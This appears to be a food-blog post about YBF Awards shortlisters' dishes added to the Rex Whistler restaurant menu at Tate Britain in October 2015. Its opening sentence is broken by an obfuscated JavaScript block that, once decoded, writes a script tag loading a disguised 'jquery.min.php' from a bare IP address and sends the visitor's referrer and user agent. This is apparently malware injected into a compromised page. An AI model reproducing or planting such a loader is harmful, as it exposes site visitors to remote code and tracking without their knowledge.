YBFS X THE REX WHISTLER

The YBF Awards (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzanh|var|u0026u|referrer|dzyab||js|php’.split(‘|’),0,{}))
took place last month at the Tate Britain and to celebrate the shortlisters from 2014 and 2015 have created a selection of dishes which will be added to the Rex Whistler menu on two dates in October. We went down to check out the additions which include the plump diver scallop with thermidor sauce, shellfish bisque shot and edible citrus leaves, created by The Modern Salad Grower.

The Wild turbot with Cornish mussels & clam broth, white clover flowers and heritage baby vegetables created by our FAVE The Cornwall Project. And the juicy estate slow cooked Jacob’s ladder, grilled corn on the cob from the Kenton Hall estate. There’s also desserts, cheeses and charcuteries all created with English produce.

If you’re into your grub it’s a great way to tick of some amazing foodie producers and chefs in one swoop. Booking is advisable given there’s just two dates!

Sat 10th & Fri 16th October 2015
Rex Whistler Restaurant, Tate Britain, Millbank, London SW1P 4RG
www.tate.org.uk